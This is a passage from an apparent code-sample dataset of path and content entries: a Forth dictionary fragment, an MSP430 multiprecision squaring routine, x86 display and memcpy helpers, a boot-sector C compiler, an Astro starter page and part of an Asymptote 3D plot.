dic_WORD__XT_SIZE\n\tdd dic_WORD_TEST\ndictionary_end:\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;\n; room for user dictionary\n;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n\ttimes USER_DEFS_SIZE db 0\nforth_end:\n"
  },
  {
    "path": "samples/Assembly/fp_sqr32_160_comba.inc",
    "content": "\r\n    push r2\r\n    dint\r\n    nop\r\n    bis #MPYDLYWRTEN,&MPY32CTL0\r\n    bic #MPYDLY32,&MPY32CTL0\r\n    mov #SUMEXT,r13\r\n    clr r12\r\n\r\n    mov @r15+,r4\r\n    mov @r15+,r5\r\n\r\n    mov @r15+,r6\r\n    mov @r15+,r7\r\n\r\n    mov @r15+,r8\r\n    mov @r15+,r9\r\n\r\n    mov @r15+,r10\r\n    mov @r15+,r11\r\n\r\n    sub #2*8,r15\r\n\r\n    /* SELF_STEP_FIRST */\r\n    mov r4,&MPY32L\r\n    mov r5,&MPY32H\r\n    mov r4,&OP2L\r\n    mov r5,&OP2H\r\n\r\n    /* COLUMN_END */\r\n    mov &RES0,2*0(r14)\r\n    mov &RES1,2*(0+1)(r14)\r\n    mov &RES2,&RES0\r\n    mov &RES3,&RES1\r\n    mov r12,&RES2\r\n    clr &RES3\r\n\r\n    /* STEP_1 */\r\n    mov r4,&MAC32L\r\n    mov r5,&MAC32H\r\n    mov r6,&OP2L\r\n    mov r7,&OP2H\r\n    add &SUMEXT,r12\r\n    mov r6,&OP2L\r\n    mov r7,&OP2H\r\n\r\n    /* COLUMN_END */\r\n    mov &RES0,2*2(r14)\r\n    add @r13,r12\r\n    mov &RES1,2*(2+1)(r14)\r\n    mov &RES2,&RES0\r\n    mov &RES3,&RES1\r\n    mov r12,&RES2\r\n    clr &RES3\r\n    clr r12\r\n\r\n    /* STEP_1 */\r\n    mov r4,&MAC32L\r\n    mov r5,&MAC32H\r\n    mov r8,&OP2L\r\n    mov r9,&OP2H\r\n    add &SUMEXT,r12\r\n    mov r8,&OP2L\r\n    mov r9,&OP2H\r\n\r\n    /* SELF_STEP */\r\n    mov r6,&MAC32L\r\n    mov r7,&MAC32H\r\n    add @r13,r12\r\n    mov r6,&OP2L\r\n    mov r7,&OP2H\r\n\r\n    /* COLUMN_END */\r\n    mov &RES0,2*4(r14)\r\n    add @r13,r12\r\n    mov &RES1,2*(4+1)(r14)\r\n    mov &RES2,&RES0\r\n    mov &RES3,&RES1\r\n    mov r12,&RES2\r\n    clr &RES3\r\n    clr r12\r\n\r\n    /* STEP_1 */\r\n    mov r4,&MAC32L\r\n    mov r5,&MAC32H\r\n    mov r10,&OP2L\r\n    mov r11,&OP2H\r\n    add &SUMEXT,r12\r\n    mov r10,&OP2L\r\n    mov r11,&OP2H\r\n\r\n    /* STEP_2MORE */\r\n    mov r6,&MAC32L\r\n    mov r7,&MAC32H\r\n    add @r13,r12\r\n    mov r8,&OP2L\r\n    mov r9,&OP2H\r\n    add &SUMEXT,r12\r\n    mov r8,&OP2L\r\n    mov r9,&OP2H\r\n\r\n    /* COLUMN_END */\r\n    mov &RES0,2*6(r14)\r\n    add @r13,r12\r\n    mov &RES1,2*(6+1)(r14)\r\n    mov &RES2,&RES0\r\n    mov &RES3,&RES1\r\n    mov r12,&RES2\r\n    clr &RES3\r\n    clr r12\r\n\r\n    /* STEP_1 */\r\n    mov r4,&MAC32L\r\n    mov r5,&MAC32H\r\n    mov 2*8(r15),&OP2L\r\n    mov 2*9(r15),&OP2H\r\n    add &SUMEXT,r12\r\n    mov 2*8(r15),&OP2L\r\n    mov 2*9(r15),&OP2H\r\n\r\n    /* STEP_2MORE */\r\n    mov r6,&MAC32L\r\n    mov r7,&MAC32H\r\n    add @r13,r12\r\n    mov r10,&OP2L\r\n    mov r11,&OP2H\r\n    add &SUMEXT,r12\r\n    mov r10,&OP2L\r\n    mov r11,&OP2H\r\n\r\n    /* SELF_STEP */\r\n    mov r8,&MAC32L\r\n    mov r9,&MAC32H\r\n    add @r13,r12\r\n    mov r8,&OP2L\r\n    mov r9,&OP2H\r\n\r\n    /* COLUMN_END */\r\n    mov &RES0,2*8(r14)\r\n    add @r13,r12\r\n    mov &RES1,2*(8+1)(r14)\r\n    mov &RES2,&RES0\r\n    mov &RES3,&RES1\r\n    mov r12,&RES2\r\n    clr &RES3\r\n    clr r12\r\n\r\n    mov 2*8(r15),r4\r\n    mov 2*(8+1)(r15),r5\r\n\r\n    /* STEP_1 */\r\n    mov r6,&MAC32L\r\n    mov r7,&MAC32H\r\n    mov r4,&OP2L\r\n    mov r5,&OP2H\r\n    add &SUMEXT,r12\r\n    mov r4,&OP2L\r\n    mov r5,&OP2H\r\n\r\n    /* STEP_2MORE */\r\n    mov r8,&MAC32L\r\n    mov r9,&MAC32H\r\n    add @r13,r12\r\n    mov r10,&OP2L\r\n    mov r11,&OP2H\r\n    add &SUMEXT,r12\r\n    mov r10,&OP2L\r\n    mov r11,&OP2H\r\n\r\n    /* COLUMN_END */\r\n    mov &RES0,2*10(r14)\r\n    add @r13,r12\r\n    mov &RES1,2*(10+1)(r14)\r\n    mov &RES2,&RES0\r\n    mov &RES3,&RES1\r\n    mov r12,&RES2\r\n    clr &RES3\r\n    clr r12\r\n\r\n    /* STEP_1 */\r\n    mov r8,&MAC32L\r\n    mov r9,&MAC32H\r\n    mov r4,&OP2L\r\n    mov r5,&OP2H\r\n    add &SUMEXT,r12\r\n    mov r4,&OP2L\r\n    mov r5,&OP2H\r\n\r\n    /* SELF_STEP */\r\n    mov r10,&MAC32L\r\n    mov r11,&MAC32H\r\n    add @r13,r12\r\n    mov r10,&OP2L\r\n    mov r11,&OP2H\r\n\r\n    /* COLUMN_END */\r\n    mov &RES0,2*12(r14)\r\n    add @r13,r12\r\n    mov &RES1,2*(12+1)(r14)\r\n    mov &RES2,&RES0\r\n    mov &RES3,&RES1\r\n    mov r12,&RES2\r\n    clr &RES3\r\n    clr r12\r\n\r\n    /* STEP_1 */\r\n    mov r10,&MAC32L\r\n    mov r11,&MAC32H\r\n    mov r4,&OP2L\r\n    mov r5,&OP2H\r\n    add &SUMEXT,r12\r\n    mov r4,&OP2L\r\n    mov r5,&OP2H\r\n\r\n    /* COLUMN_END */\r\n    mov &RES0,2*14(r14)\r\n    add @r13,r12\r\n    mov &RES1,2*(14+1)(r14)\r\n    mov &RES2,&RES0\r\n    mov &RES3,&RES1\r\n    mov r12,&RES2\r\n    clr &RES3\r\n    clr r12\r\n\r\n    /* SELF_STEP_1 */\r\n    mov r4,&MAC32L\r\n    mov r5,&MAC32H\r\n    mov r4,&OP2L\r\n    mov r5,&OP2H\r\n\r\n    /* COLUMN_END */\r\n    mov &RES0,2*16(r14)\r\n    add @r13,r12\r\n    mov &RES1,2*(16+1)(r14)\r\n    mov &RES2,&RES0\r\n    mov &RES3,&RES1\r\n    mov r12,&RES2\r\n    clr &RES3\r\n    clr r12\r\n\r\n    /* END */\r\n    mov &RES0,2*18(r14)\r\n    mov &RES1,2*(18+1)(r14)\r\n    pop r2\r\n    eint\r\n"
  },
  {
    "path": "samples/Assembly/lib.inc",
    "content": "\n; ------------------------------------------------------------------------\n; 显示 AL 中的数字\n; ------------------------------------------------------------------------\nDispAL:\n\tpush\tecx\n\tpush\tedx\n\tpush\tedi\n\n\tmov\tedi, [dwDispPos]\n\n\tmov\tah, 0Fh\t\t\t; 0000b: 黑底    1111b: 白字\n\tmov\tdl, al\n\tshr\tal, 4\n\tmov\tecx, 2\n.begin:\n\tand\tal, 01111b\n\tcmp\tal, 9\n\tja\t.1\n\tadd\tal, '0'\n\tjmp\t.2\n.1:\n\tsub\tal, 0Ah\n\tadd\tal, 'A'\n.2:\n\tmov\t[gs:edi], ax\n\tadd\tedi, 2\n\n\tmov\tal, dl\n\tloop\t.begin\n\t;add\tedi, 2\n\n\tmov\t[dwDispPos], edi\n\n\tpop\tedi\n\tpop\tedx\n\tpop\tecx\n\n\tret\n; DispAL 结束-------------------------------------------------------------\n\n\n; ------------------------------------------------------------------------\n; 显示一个整形数\n; ------------------------------------------------------------------------\nDispInt:\n\tmov\teax, [esp + 4]\n\tshr\teax, 24\n\tcall\tDispAL\n\n\tmov\teax, [esp + 4]\n\tshr\teax, 16\n\tcall\tDispAL\n\n\tmov\teax, [esp + 4]\n\tshr\teax, 8\n\tcall\tDispAL\n\n\tmov\teax, [esp + 4]\n\tcall\tDispAL\n\n\tmov\tah, 07h\t\t\t; 0000b: 黑底    0111b: 灰字\n\tmov\tal, 'h'\n\tpush\tedi\n\tmov\tedi, [dwDispPos]\n\tmov\t[gs:edi], ax\n\tadd\tedi, 4\n\tmov\t[dwDispPos], edi\n\tpop\tedi\n\n\tret\n; DispInt 结束------------------------------------------------------------\n\n; ------------------------------------------------------------------------\n; 显示一个字符串\n; ------------------------------------------------------------------------\nDispStr:\n\tpush\tebp\n\tmov\tebp, esp\n\tpush\tebx\n\tpush\tesi\n\tpush\tedi\n\n\tmov\tesi, [ebp + 8]\t; pszInfo\n\tmov\tedi, [dwDispPos]\n\tmov\tah, 0Fh\n.1:\n\tlodsb\n\ttest\tal, al\n\tjz\t.2\n\tcmp\tal, 0Ah\t; 是回车吗?\n\tjnz\t.3\n\tpush\teax\n\tmov\teax, edi\n\tmov\tbl, 160\n\tdiv\tbl\n\tand\teax, 0FFh\n\tinc\teax\n\tmov\tbl, 160\n\tmul\tbl\n\tmov\tedi, eax\n\tpop\teax\n\tjmp\t.1\n.3:\n\tmov\t[gs:edi], ax\n\tadd\tedi, 2\n\tjmp\t.1\n\n.2:\n\tmov\t[dwDispPos], edi\n\n\tpop\tedi\n\tpop\tesi\n\tpop\tebx\n\tpop\tebp\n\tret\n; DispStr 结束------------------------------------------------------------\n\n; ------------------------------------------------------------------------\n; 换行\n; ------------------------------------------------------------------------\nDispReturn:\n\tpush\tszReturn\n\tcall\tDispStr\t\t\t;printf(\"\\n\");\n\tadd\tesp, 4\n\n\tret\n; DispReturn 结束---------------------------------------------------------\n\n\n; ------------------------------------------------------------------------\n; 内存拷贝，仿 memcpy\n; ------------------------------------------------------------------------\n; void* MemCpy(void* es:pDest, void* ds:pSrc, int iSize);\n; ------------------------------------------------------------------------\nMemCpy:\n\tpush\tebp\n\tmov\tebp, esp\n\n\tpush\tesi\n\tpush\tedi\n\tpush\tecx\n\n\tmov\tedi, [ebp + 8]\t; Destination\n\tmov\tesi, [ebp + 12]\t; Source\n\tmov\tecx, [ebp + 16]\t; Counter\n.1:\n\tcmp\tecx, 0\t\t; 判断计数器\n\tjz\t.2\t\t; 计数器为零时跳出\n\n\tmov\tal, [ds:esi]\t\t; ┓\n\tinc\tesi\t\t\t; ┃\n\t\t\t\t\t; ┣ 逐字节移动\n\tmov\tbyte [es:edi], al\t; ┃\n\tinc\tedi\t\t\t; ┛\n\n\tdec\tecx\t\t; 计数器减一\n\tjmp\t.1\t\t; 循环\n.2:\n\tmov\teax, [ebp + 8]\t; 返回值\n\n\tpop\tecx\n\tpop\tedi\n\tpop\tesi\n\tmov\tesp, ebp\n\tpop\tebp\n\n\tret\t\t\t; 函数结束，返回\n; MemCpy 结束-------------------------------------------------------------\n\n"
  },
  {
    "path": "samples/Assembly/sectorc.s",
    "content": "  bits 16\n  cpu 386\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; Token values as computed by the tokenizer's\n;;; atoi() calculation\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n%define TOK_INT         6388\n%define TOK_VOID        11386\n%define TOK_ASM         5631\n%define TOK_COMM        65532\n%define TOK_SEMI        11\n%define TOK_LPAREN      65528\n%define TOK_RPAREN      65529\n%define TOK_START       20697\n%define TOK_DEREF       64653\n%define TOK_WHILE_BEGIN 55810\n%define TOK_IF_BEGIN    6232\n%define TOK_BODY_BEGIN  5\n%define TOK_BLK_BEGIN   75\n%define TOK_BLK_END     77\n%define TOK_ASSIGN      13\n%define TOK_ADDR        65526\n%define TOK_SUB         65533\n%define TOK_ADD         65531\n%define TOK_MUL         65530\n%define TOK_AND         65526\n%define TOK_OR          76\n%define TOK_XOR         46\n%define TOK_SHL         132\n%define TOK_SHR         154\n%define TOK_EQ          143\n%define TOK_NE          65399\n%define TOK_LT          12\n%define TOK_GT          14\n%define TOK_LE          133\n%define TOK_GE          153\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; Common register uses\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; ax: current token / scratch register / emit val for stosw\n;;; bx: current token\n;;; cx: used by tok_next for trailing 2 bytes\n;;; dl: flag for \"tok_is_num\"\n;;; dh: flags for \"tok_is_call\", trailing \"()\"\n;;; bp: saved token for assigned variable\n;;; sp: stack pointer, we don't mess with this\n;;; si: used with lodsw for table scans\n;;; ds: fn symbol table segment (occasionally set to \"cs\" to access binary_oper_tbl)\n;;; di: codegen destination offset\n;;; es: codegen destination segment\n;;; cs: always 0x07c0\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n  jmp 0x07c0:entry\nentry:\n  push 0x3000                   ; segment 0x3000 is used for fn symbol table\n  pop  ds\n  push 0x2000                   ; segment 0x2000 is used for codegen output buffer\n  pop  es\n  xor di,di                     ; codegen index, zero'd\n  ;; [fall-through]\n\n  ;; main loop for parsing all decls\ncompile:\n  ;; advance to either \"int\" or \"void\"\n  call tok_next\n\n  ;; if \"int\" then skip a variable\n  cmp ax,TOK_INT\n  jne compile_function\n  call tok_next2                ; consume \"int\" and <ident>\n  jmp compile\n\ncompile_function:               ; parse and compile a function decl\n  call tok_next                 ; consume \"void\"\n  push bx                       ; save function name token\n  mov [bx],di                   ; record function address in symtbl\n  call compile_stmts_tok_next2  ; compile function body\n\n  mov al,0xc3                   ; emit \"ret\" instruction\n  stosb\n\n  pop bx                        ; if the function is _start(), we're done\n  cmp bx,TOK_START\n  jne compile                   ; otherwise, loop and compile another declaration\n  ;; [fall-through]\n\n  ;; done compiling, execute the binary\nexecute:\n  push es                       ; push the codegen segment\n  push word [bx]                ; push the offset to \"_start()\"\n  push 0x4000                   ; load new segment for variable data\n  pop ds\n  retf                          ; jump into it via \"retf\"\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; compile statements (optionally advancing tokens beforehand)\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ncompile_stmts_tok_next2:\n  call tok_next\ncompile_stmts_tok_next:\n  call tok_next\ncompile_stmts:\n  mov ax,bx\n  cmp ax,TOK_BLK_END            ; if we reach '}' then return\n  je return\n\n  test dh,dh                    ; if dh is 0, it's not a call\n  je _not_call\n  mov al,0xe8                   ; emit \"call\" instruction\n  stosb\n\n  mov ax,[bx]                   ; load function offset from symbol-table\n  sub ax,di                     ; compute relative to this location: \"dest - cur - 2\"\n  sub ax,2\n  stosw                         ;  emit target\n\n  jmp compile_stmts_tok_next2   ; loop to compile next statement\n\n_not_call:\n  cmp ax,TOK_ASM                ; check for \"asm\"\n  jne _not_asm\n  call tok_next                 ; tok_next to get literal byte\n  stosb                         ; emit the literal\n  jmp compile_stmts_tok_next2   ; loop to compile next statement\n\n_not_asm:\n  cmp ax,TOK_IF_BEGIN           ; check for \"if\"\n  jne _not_if\n  call _control_flow_block      ; compile control-flow block\n  jmp _patch_fwd                ; patch up forward jump of if-stmt\n\n_not_if:\n  cmp ax,TOK_WHILE_BEGIN        ; check for \"while\"\n  jne _not_while\n  push di                       ; save loop start location\n  call _control_flow_block      ; compile control-flow block\n  jmp _patch_back               ; patch up backward and forward jumps of while-stmt\n\n_not_while:\n  call compile_assign           ; handle an assignment statement\n  jmp compile_stmts             ; loop to compile next statement\n\n_patch_back:\n  mov al,0xe9                   ; emit \"jmp\" instruction (backwards)\n  stosb\n  pop ax                        ; restore loop start location\n  sub ax,di                     ; compute relative to this location: \"dest - cur - 2\"\n  sub ax,2\n  stosw                         ; emit target\n  ;; [fall-through]\n_patch_fwd:\n  mov ax,di                     ; compute relative fwd jump to this location: \"dest - src\"\n  sub ax,si\n  mov es:[si-2],ax              ; patch \"src - 2\"\n  jmp compile_stmts_tok_next    ; loop to compile next statement\n\n_control_flow_block:\n  call compile_expr_tok_next    ; compile loop or if condition expr\n\n  ;; emit forward jump\n  mov ax,0xc085                 ; emit \"test ax,ax\"\n  stosw\n  mov ax,0x840f                 ; emit \"je\" instruction\n  stosw\n  stosw                         ; emit placeholder for target\n\n  push di                       ; save forward patch location\n  call compile_stmts_tok_next   ; compile a block of statements\n  pop si                        ; restore forward patch location\n\nreturn:                         ; this label gives us a way to do conditional returns\n  ret                           ; (e.g. \"jne return\")\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; compile assignment statement\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ncompile_assign:\n  cmp ax,TOK_DEREF              ; check for \"*(int*)\"\n  jne _not_deref_store\n  call tok_next                 ; consume \"*(int*)\"\n  call save_var_and_compile_expr ; compile rhs first\n  ;; [fall-through]\n\ncompile_store_deref:\n  mov bx,bp                     ; restore dest var token\n  mov ax,0x0489                 ; code for \"mov [si],ax\"\n  ;; [fall-through]\n\nemit_common_ptr_op:\n  push ax\n  mov ax,0x368b                 ; emit \"mov si,[imm]\"\n  call emit_var\n  pop ax\n  stosw                         ; emit\n  ret\n\n_not_deref_store:\n  call save_var_and_compile_expr ; compile rhs first\n  ;; [fall-through]\n\ncompile_store:\n  mov bx,bp                     ; restore dest var token\n  mov ax,0x0689                 ; code for \"mov [imm],ax\"\n  jmp emit_var                  ; [tail-call]\n\nsave_var_and_compile_expr:\n  mov bp,bx                     ; save dest to bp\n  call tok_next                 ; consume dest\n  ;; [fall-through]             ; fall-through will consume \"=\" before compiling expr\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; compile expression\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ncompile_expr_tok_next:\n  call tok_next\ncompile_expr:\n  call compile_unary            ; compile left-hand side\n\n  push ds                       ; need to swap out 'ds' to scan the table with lodsw\n  push cs\n  pop ds\n\n  mov si,binary_oper_tbl - 2    ; load ptr to operator table (biased backwards)\n_check_next:\n  lodsw                         ; discard 16-bit of machine-code\n  lodsw                         ; load 16-bit token value\n  cmp ax,bx                     ; matches token?\n  je _found\n  test ax,ax                    ; end of table?\n  jne _check_next\n\n  pop ds\n  ret                           ; all-done, not found\n\n_found:\n  lodsw                         ; load 16-bit of machine-code\n  push ax                       ; save it to the stack\n  mov al,0x50                   ; code for \"push ax\"\n  stosb                         ; emit\n  call tok_next                 ; consume operator token\n  call compile_unary            ; compile right-hand side\n  mov ax,0x9159                 ; code for \"pop cx; xchg ax,cx\"\n  stosw                         ; emit\n\n  pop bx                        ; restore 16-bit of machine-code\n  cmp bh,0xc0                   ; detect the special case for comparison ops\n  jne emit_op\nemit_cmp_op:\n  mov ax,0xc839                 ; code for \"cmp ax,cx\"\n  stosw                         ; emit\n  mov ax,0x00b8                 ; code for \"mov ax,0x00\"\n  stosw                         ; emit\n  mov ax,0x0f00                 ; code for the rest of imm and prefix for \"setX\" instrs\n  stosw                         ; emit\n  ;; [fall-through]\n\nemit_op:\n  mov ax,bx\n  stosw                         ; emit machine code for op\n  pop ds\n  ret\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; compile unary\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ncompile_unary:\n  cmp ax,TOK_DEREF              ; check for \"*(int*)\"\n  jne _not_deref\n  ;; compile deref (load)\n  call tok_next                 ; consume \"*(int*)\"\n  mov ax,0x048b                 ; code for \"mov ax,[si]\"\n  jmp emit_common_ptr_op        ; [tail-call]\n\n_not_deref:\n  cmp ax,TOK_LPAREN             ; check for \"*(int*)\"\n  jne _not_paren\n  call compile_expr_tok_next    ; consume \"(\" and compile expr\n  jmp tok_next                  ; [tail-call] to consume \")\"\n\n_not_paren:\n  cmp ax,TOK_ADDR               ; check for \"&\"\n  jne _not_addr\n  call tok_next                 ; consume \"&\"\n  mov ax,0x068d                 ; code for \"lea ax,[imm]\"\n  jmp emit_var                  ; [tail-call] to emit code\n\n_not_addr:\n  test dl,dl                    ; check for tok_is_num\n  je _not_int\n  mov al,0xb8                   ; code for \"mov ax,imm\"\n  stosb                         ; emit\n  jmp emit_tok                  ; [tail-call] to emit imm\n\n_not_int:\n  ;; compile var\n  mov ax,0x068b                 ; code for \"mov ax,[imm]\"\n  ;; [fall-through]\n\nemit_var:\n  stosw                         ; emit\n  add bx,bx                     ; bx = 2*bx (scale up for 16-bit)\n  ;; [fall-through]\n\nemit_tok:\n  mov ax,bx\n  stosw                         ; emit token value\n  jmp tok_next                  ; [tail-call]\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; get next token, setting the following:\n;;;   ax: token\n;;;   bx: token\n;;;   dl: tok_is_num\n;;;   dh: tok_is_call\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ntok_next2:\n  call tok_next\n  ;; [fall-through]\ntok_next:\n  call getch\n  cmp al,32                     ; skip spaces (anything <= ' ' is considered space)\n  jle tok_next\n\n  xor bx,bx                     ; zero token reg\n  xor cx,cx                     ; zero last-two chars reg\n\n  cmp al,57\n  setle dl                      ; tok_is_num = (al <= '9')\n\n_nextch:\n  cmp al,32\n  jle _done                     ; if char is space then break\n\n  shl cx,8\n  mov cl,al                     ; shift this char into cx\n\n  imul bx,10\n  sub ax,48\n  add bx,ax                     ; atoi computation: bx = 10 * bx + (ax - '0')\n\n  call getch\n  jmp _nextch                   ; [loop]\n\n_done:\n  mov ax,cx\n  cmp ax,0x2f2f                 ; check for single-line comment \"//\"\n  je _comment_double_slash\n  cmp ax,0x2f2a                 ; check for multi-line comment \"/*\"\n  je _comment_multi_line\n  cmp ax,0x2829                 ; check for call parens \"()\"\n  sete dh\n\n  mov ax,bx                     ; return token in ax also\n  ret\n\n_comment_double_slash:\n  call getch                    ; get next char\n  cmp al,10                     ; check for newline '\\n'\n  jne _comment_double_slash     ; [loop]\n  jmp tok_next                  ; [tail-call]\n\n_comment_multi_line:\n  call tok_next                 ; get next token\n  cmp ax,65475                  ; check for token \"*/\"\n  jne _comment_multi_line       ; [loop]\n  jmp tok_next                  ; [tail-call]\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; get next char: returned in ax (ah == 0, al == ch)\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ngetch:\n  push dx                       ; need to save dx because tok_next uses it for flags\n  xor si,si                     ; use ds:0 as a semi-colon buffer, encodes smaller via si\n  mov ax,[si]                   ; load the semi-colon buffer\n  xor [si],ax                   ; zero the buffer\n  cmp al,59                     ; check for ';'\n  je getch_done                 ; if ';' return it\n\ngetch_tryagain:\n  mov ax,0x0200\n  xor dx,dx\n  int 0x14                      ; get a char from serial (bios function)\n\n  and ah,0x80                   ; check for failure and clear ah as a side-effect\n  jne getch_tryagain            ; failed, try again later\n\n  cmp al,59                     ; check for ';'\n  jne getch_done                ; if not ';' return it\n  mov [si],ax                   ; save the ';'\n  xor ax,ax                     ; return 0 instead, treated as whitespcae\n\ngetch_done:\n  pop dx\n  ret\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; binary operator table\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\nbinary_oper_tbl:\n  dw TOK_ADD,0xc103             ; add ax,cx\n  dw TOK_SUB,0xc12b             ; sub ax,cx\n  dw TOK_MUL,0xe1f7             ; mul ax,cx\n  dw TOK_AND,0xc123             ; and ax,cx\n  dw TOK_OR,0xc10b              ; or ax,cx\n  dw TOK_XOR,0xc133             ; xor ax,cx\n  dw TOK_SHL,0xe0d3             ; shl ax,cx\n  dw TOK_SHR,0xf8d3             ; shr ax,cx\n  dw TOK_EQ,0xc094              ; sete al\n  dw TOK_NE,0xc095              ; setne al\n  dw TOK_LT,0xc09c              ; setl al\n  dw TOK_GT,0xc09f              ; setg al\n  dw TOK_LE,0xc09e              ; setle al\n  dw TOK_GE,0xc09d              ; setge al\n  dw 0                          ; [sentinel]\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;;; boot signature\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n  times 510-($-$$) db 0\n  db 0x55, 0xaa\n"
  },
  {
    "path": "samples/Astro/index.astro",
    "content": "---\n// Component Imports\nimport Tour from '../components/Tour.astro';\n// You can import components from any supported Framework here!\n/* ASTRO:COMPONENT_IMPORTS */\n\n// Component Script:\n// You can write any JavaScript/TypeScript that you'd like here.\n// It will run during the build, but never in the browser.\n// All variables are available to use in the HTML template below.\nlet title = 'My Astro Site';\n\n// Full Astro Component Syntax:\n// https://github.com/withastro/astro/blob/main/docs/core-concepts/astro-components.md\n---\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>{title}</title>\n    <link rel=\"icon\" type=\"image/svg+xml\" href=\"/favicon.svg\">\n    <link rel=\"stylesheet\" href=\"/style/global.css\">\n    <link rel=\"stylesheet\" href=\"/style/home.css\">\n\n    <style>\n        header {\n            display: flex;\n            flex-direction: column;\n            gap: 1em;\n            max-width: min(100%, 68ch);\n        }\n    </style>\n</head>\n<body>\n    <main>\n        <header>\n            <div>\n                <img width=\"60\" height=\"80\" src=\"/assets/logo.svg\" alt=\"Astro logo\">\n                <h1>Welcome to <a href=\"https://astro.build/\">Astro</a></h1>\n            </div>\n        </header>\n\n        <Tour client:load />\n\n        <!--\n           - You can also use imported framework components directly in your markup!\n           -\n           - Note: by default, these components are NOT interactive on the client.\n           - The `:visible` directive tells Astro to make it interactive.\n           -\n           - See https://github.com/withastro/astro/blob/main/docs/core-concepts/component-hydration.md\n           -->\n        <!-- ASTRO:COMPONENT_MARKUP -->\n    </main>\n</body>\n</html>\n"
  },
  {
    "path": "samples/Asymptote/figarc4_3D.asy",
    "content": "import graph3;\n\n//ASY file for figarc4_3D.asy in Chapter 7\n\n\nsize(200,200,IgnoreAspect);\n//currentprojection=perspective(7,2,1);\ncurrentprojection=orthographic((16.7,13.2,46),(0,1,0),(0,0,0),1,(-.0323,0.0012));\n//currentprojection=orthographic((16.7,13.2,46),(0,1,0),(0,0,0),1,(0.0148,0.00673));\ndefaultrender.merge=true;\n\nusepackage(\"amsmath\");\nusepackage(\"mathspec\");\ntexpreamble(\"\\setallmainfonts[Mapping=tex-text]{Calibri}\");\ntexpreamble(\"\\setmainfont[Mapping=tex-text]{Calibri}\");\ntexpreamble(\"\\setsansfont[Mapping=tex-text]{Calibri}\");\ntexpreamble(\"\\setmathsfont(Greek){[cmmi10]}\");\n\n\n// setup and draw the axes\nreal[] myxchoice={};\nreal[] myychoice={};\nreal[] myzchoice={};\ndefaultpen(0.5mm);\n\npair xbounds=(-.25,2.1);\npair ybounds=(-1.1,1.1);\npair zbounds=(-1.1,1.1);\n\nxaxis3(\"\",xbounds.x,xbounds.y,black,OutTicks(myxchoice),Arrow3(size=3mm));\nyaxis3(\"\",ybounds.x,ybounds.y,black,OutTicks(myychoice),Arrow3(size=3mm));\nzaxis3(\"\",zbounds.x,zbounds.y,invisible,OutTicks(myzchoice),Arrow3(size=3mm));\n\nlabel(\"$x$\",(xbounds.y+0.05*(xbounds.y-xbounds.x),0,0));\nlabel(\"$y$\",(0,ybounds.y+0.05*(ybounds.y-ybounds.x),0));\n//label(\"$z$\",(0,0,zbounds.y+0.05*(zbounds.y-zbounds.x)));\n\n//\\addplot3[domain=.9:1.4,y domain=-210:150,samples y=36,surf,shader=flat,colormap={mp2}{\\colormapone}]\n// ({x},{(.41*(x-.9)+.78)*sin(y)},{(.41*(x-.9)+.78)*cos(y)});\n\n//\\addplot3[domain=.5:1.9,,samples y=0,{\\colorone},] ({x},{0},{(sin(deg(x)))});\n\n//\\addplot3[domain=0:360,,samples y=0,black,smooth] ({1.4},{.98*cos(x)},{.98*sin(x)});\n\n//\\addplot3[domain=130:330,,samples y=0,black,dashed,smooth] ({.9},{.78*cos(x)},{.78*sin(x)});\n\npen 